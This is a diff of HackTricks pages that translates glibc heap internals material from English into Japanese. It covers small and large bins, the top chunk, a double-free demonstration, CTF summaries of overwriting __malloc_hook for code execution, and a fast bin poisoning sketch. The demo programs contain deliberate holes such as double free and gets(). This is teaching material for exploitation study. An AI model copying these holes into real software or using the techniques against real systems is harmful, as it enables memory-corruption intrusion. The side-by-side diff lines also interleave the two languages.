((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION) + SMALLBIN_CORRECTION)
``` ```
小さなビンと大きなビンを選択するための関数:
Function to choose between small and large bins:
```c ```c
#define bin_index(sz) \ #define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
``` ```
<details> <details>
<summary>Add a small chunk example</summary> <summary>小さなチャンクの例を追加</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[10]; char *chunks[10];
int i; int i;
// Loop to allocate memory 8 times // Loop to allocate memory 8 times
for (i = 0; i < 9; i++) { for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100); chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i); fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1; return 1;
} }
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
} }
// Loop to free the allocated memory // Loop to free the allocated memory
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
free(chunks[i]); free(chunks[i]);
} }
chunks[9] = malloc(0x110); chunks[9] = malloc(0x110);
return 0; return 0;
} }
``` ```
9つの同じサイズのチャンクを割り当てて解放する方法に注意してください。これにより、**tcacheが満たされ**、8つ目は**fastbinには大きすぎる**ため、未ソートのビンに格納されます。そして9つ目は解放されていないため、9つ目と8つ目は**トップチャンクとマージされません**。次に、0x110のより大きなチャンクを割り当てると、**未ソートのビンのチャンクが小さなビンに移動します**。
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯で、1つのチャンクが小さなビンにあることがわかります。
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin. [+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins. [+] Found 1 chunks in 1 small non-empty bins.
``` ```
</details> </details>
### Large bins ### 大きなビン
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. 小さなビンが固定サイズのチャンクを管理するのに対し、各**大きなビンはチャンクサイズの範囲を扱います**。これはより柔軟で、システムが**さまざまなサイズ**を別々のビンなしで収容できるようにします。
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. メモリアロケータでは、大きなビンは小さなビンが終了するところから始まります。大きなビンの範囲は徐々に大きくなり、最初のビンは512バイトから576バイトのチャンクをカバーし、次のビンは576バイトから640バイトをカバーします。このパターンは続き、最大のビンは1MBを超えるすべてのチャンクを含みます。
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. 大きなビンは小さなビンに比べて操作が遅くなります。なぜなら、**最適なフィットを見つけるためにさまざまなチャンクサイズのリストをソートして検索しなければならないからです**。チャンクが大きなビンに挿入されると、それはソートされ、メモリが割り当てられるときにシステムは適切なチャンクを見つけなければなりません。この追加の作業により、**遅くなります**が、大きな割り当ては小さな割り当てよりも一般的ではないため、許容できるトレードオフです。
There are: 以下があります:
- 32 bins of 64B range (collide with small bins) - 64B範囲のビンが32個小さなビンと衝突
- 16 bins of 512B range (collide with small bins) - 512B範囲のビンが16個小さなビンと衝突
- 8bins of 4096B range (part collide with small bins) - 4096B範囲のビンが8個小さなビンと部分的に衝突
- 4bins of 32768B range - 32768B範囲のビンが4個
- 2bins of 262144B range - 262144B範囲のビンが2個
- 1bin for remaining sizes - 残りのサイズ用のビンが1個
<details> <details>
<summary>Large bin sizes code</summary> <summary>大きなビンサイズのコード</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \ #define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126) 126)
#define largebin_index_32_big(sz) \ #define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126) 126)
// XXX It remains to be seen whether it is good to keep the widths of // XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor // XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well. // XXX of two as well.
#define largebin_index_64(sz) \ #define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126) 126)
#define largebin_index(sz) \ #define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \ (SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz)) : largebin_index_32 (sz))
``` ```
</details> </details>
<details> <details>
<summary>Add a large chunk example</summary> <summary>大きなチャンクの例を追加</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[2]; char *chunks[2];
chunks[0] = malloc(0x1500); chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500); chunks[1] = malloc(0x1500);
free(chunks[0]); free(chunks[0]);
chunks[0] = malloc(0x2000); chunks[0] = malloc(0x2000);
return 0; return 0;
} }
``` ```
2つの大きなアロケーションが行われ、その後1つが解放され未ソートビンに入る、より大きなアロケーションが行われます解放されたものが未ソートビンから大きなビンに移動します
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯であり、1つのチャンクが大きなビンにあることがわかります。
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
```bash ```bash
gef➤ heap bin gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins. [+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins. [+] Found 1 chunks in 1 large non-empty bins.
``` ```
</details> </details>
### Top Chunk ### トップチャンク
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/* /*
Top Top
The top-most available chunk (i.e., the one bordering the end of The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.) the 2 preceding words to be zero during this interval as well.)
*/ */
/* Conveniently, the unsorted bin can be used as dummy top on first call */ /* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M)) #define initial_top(M) (unsorted_chunks (M))
``` ```
基本的に、これは現在利用可能なヒープのすべてのチャンクを含んでいます。mallocが実行されると、使用するための利用可能なフリーチャンクがない場合、このトップチャンクは必要なスペースを確保するためにサイズを減少させます。\
トップチャンクへのポインタは`malloc_state`構造体に格納されています。
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ さらに、最初は、未整列チャンクをトップチャンクとして使用することが可能です。
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
<details> <details>
<summary>Observe the Top Chunk example</summary> <summary>トップチャンクの例を観察する</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunk; char *chunk;
chunk = malloc(24); chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk); printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk); gets(chunk);
return 0; return 0;
} }
``` ```
`main``ret`オペコードにブレークポイントを設定してコンパイルおよびデバッグした後、mallocがアドレス`0xaaaaaaac12a0`を返し、これらのチャンクが表示されました:
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
```bash ```bash
gef➤ heap chunks gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
``` ```
トップチャンクがアドレス `0xaaaaaaac1ae0` にあることがわかります。これは驚くべきことではありません。なぜなら、最後に割り当てられたチャンクは `0xaaaaaaac12a0` にあり、サイズは `0x410` で、`0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` だからです。\
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ トップチャンクの長さは、そのチャンクヘッダーでも確認できます:
It's also possible to see the length of the Top chunk on its chunk header:
```bash ```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16 gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
``` ```
</details> </details>
### Last Remainder ### 最後の残り
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. mallocが使用され、チャンクが分割されると例えば、未整列ビンまたはトップチャンクから、分割されたチャンクの残りから作成されたチャンクは「最後の残り」と呼ばれ、そのポインタは`malloc_state`構造体に格納されます。
## Allocation Flow ## 割り当てフロー
Check out: チェックアウト:
{{#ref}} {{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}} {{#endref}}
## Free Flow ## 解放フロー
Check out: チェックアウト:
{{#ref}} {{#ref}}
heap-memory-functions/free.md heap-memory-functions/free.md
{{#endref}} {{#endref}}
## Heap Functions Security Checks ## ヒープ関数のセキュリティチェック
Check the security checks performed by heavily used functions in heap in: ヒープで広く使用される関数によって実行されるセキュリティチェックを確認するには:
{{#ref}} {{#ref}}
heap-memory-functions/heap-functions-security-checks.md heap-memory-functions/heap-functions-security-checks.md
{{#endref}} {{#endref}}
## References ## 参考文献
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -1,92 +1,90 @@
# Double Free # ダブルフリー
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. メモリのブロックを複数回解放すると、アロケータのデータが混乱し、攻撃の扉が開かれる可能性があります。これは次のように発生しますメモリのブロックを解放すると、それはフリーチャンクのリスト「ファストビン」に戻ります。同じブロックを連続して2回解放すると、アロケータはこれを検出し、エラーをスローします。しかし、**その間に別のチャンクを解放すると、ダブルフリーのチェックがバイパスされ**、破損が発生します。
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. 今、新しいメモリを要求すると(`malloc`を使用)、アロケータは**2回解放されたブロック**を返す可能性があります。これにより、2つの異なるポインタが同じメモリ位置を指すことになります。攻撃者がそのポインタの1つを制御している場合、彼らはそのメモリの内容を変更でき、これがセキュリティ問題を引き起こしたり、コードを実行させたりする可能性があります。
Example:
例:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
int main() { int main() {
// Allocate memory for three chunks // Allocate memory for three chunks
char *a = (char *)malloc(10); char *a = (char *)malloc(10);
char *b = (char *)malloc(10); char *b = (char *)malloc(10);
char *c = (char *)malloc(10); char *c = (char *)malloc(10);
char *d = (char *)malloc(10); char *d = (char *)malloc(10);
char *e = (char *)malloc(10); char *e = (char *)malloc(10);
char *f = (char *)malloc(10); char *f = (char *)malloc(10);
char *g = (char *)malloc(10); char *g = (char *)malloc(10);
char *h = (char *)malloc(10); char *h = (char *)malloc(10);
char *i = (char *)malloc(10); char *i = (char *)malloc(10);
// Print initial memory addresses // Print initial memory addresses
printf("Initial allocations:\n"); printf("Initial allocations:\n");
printf("a: %p\n", (void *)a); printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b); printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c); printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d); printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e); printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f); printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g); printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h); printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i); printf("i: %p\n", (void *)i);
// Fill tcache // Fill tcache
free(a); free(a);
free(b); free(b);
free(c); free(c);
free(d); free(d);
free(e); free(e);
free(f); free(f);
free(g); free(g);
// Introduce double-free vulnerability in fast bin // Introduce double-free vulnerability in fast bin
free(h); free(h);
free(i); free(i);
free(h); free(h);
// Reallocate memory and print the addresses // Reallocate memory and print the addresses
char *a1 = (char *)malloc(10); char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10); char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10); char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10); char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10); char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10); char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10); char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10); char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10); char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10); char *i2 = (char *)malloc(10);
// Print initial memory addresses // Print initial memory addresses
printf("After reallocations:\n"); printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1); printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1); printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1); printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1); printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1); printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1); printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1); printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1); printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1); printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2); printf("i2: %p\n", (void *)i2);
return 0; return 0;
} }
``` ```
この例では、tcacheをいくつかの解放されたチャンク7で埋めた後、コードは**チャンク`h`を解放し、次にチャンク`i`を解放し、再び`h`を解放することでダブルフリーを引き起こします**ファストビンの重複とも呼ばれます。これにより、再割り当て時に重複したメモリアドレスを受け取る可能性が生じ、2つ以上のポインタが同じメモリ位置を指すことができます。1つのポインタを通じてデータを操作すると、他のポインタにも影響を与え、重大なセキュリティリスクと悪用の可能性を生み出します。
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. 実行すると、**`i1``i2`が同じアドレスを取得したことに注意してください**
Executing it, note how **`i1` and `i2` got the same address**: <pre><code>初期割り当て:
<pre><code>Initial allocations:
a: 0xaaab0f0c22a0 a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0 b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0 c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360 g: 0xaaab0f0c2360
h: 0xaaab0f0c2380 h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0 i: 0xaaab0f0c23a0
After reallocations: 再割り当て後:
a1: 0xaaab0f0c2360 a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340 b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320 c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0 </strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre> </strong></code></pre>
## Examples ##
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - サイズ`0x70`を除いて、ファストビンサイズのチャンクしか割り当てられず、通常の`__malloc_hook`の上書きを防ぎます。
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - 代わりに、`0x56`で始まるPIEアドレスをファストビンの重複のターゲットとして使用します1/2の確率
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - PIEアドレスが保存される場所の1つは`main_arena`で、これはGlibc内にあり、`__malloc_hook`の近くにあります。
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. - 特定のオフセットの`main_arena`をターゲットにして、そこにチャンクを割り当て、`__malloc_hook`に到達するまでチャンクを割り当て続けてコード実行を取得します。
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - Tcacheビンとヌルバイトオーバーフローを使用して、ダブルフリーの状況を達成できます
- We allocate three chunks of size `0x110` (`A`, `B`, `C`) - サイズ`0x110`のチャンクを3つ`A``B``C`)割り当てます。
- We free `B` - `B`を解放します。
- We free `A` and allocate again to use the null-byte overflow - `A`を解放し、ヌルバイトオーバーフローを使用するために再度割り当てます。
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - 現在、`B`のサイズフィールドは`0x100`であり、`0x111`ではないため、再度解放できます。
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - サイズ`0x110`のTcacheビンとサイズ`0x100`のTcacheビンが同じアドレスを指しているため、ダブルフリーが発生します。
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) - [Tcache poisoning](tcache-bin-attack.md)を使用してダブルフリーを利用します。
## References ## 参考文献
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
For more information about what is a fast bin check this page: For more information about what is a fast bin check this page:
@ -13,7 +13,6 @@ bins-and-memory-allocations.md
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary: As summary:
```c ```c
ptr0 = malloc(0x20); ptr0 = malloc(0x20);
ptr1 = malloc(0x20); ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1 ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
``` ```
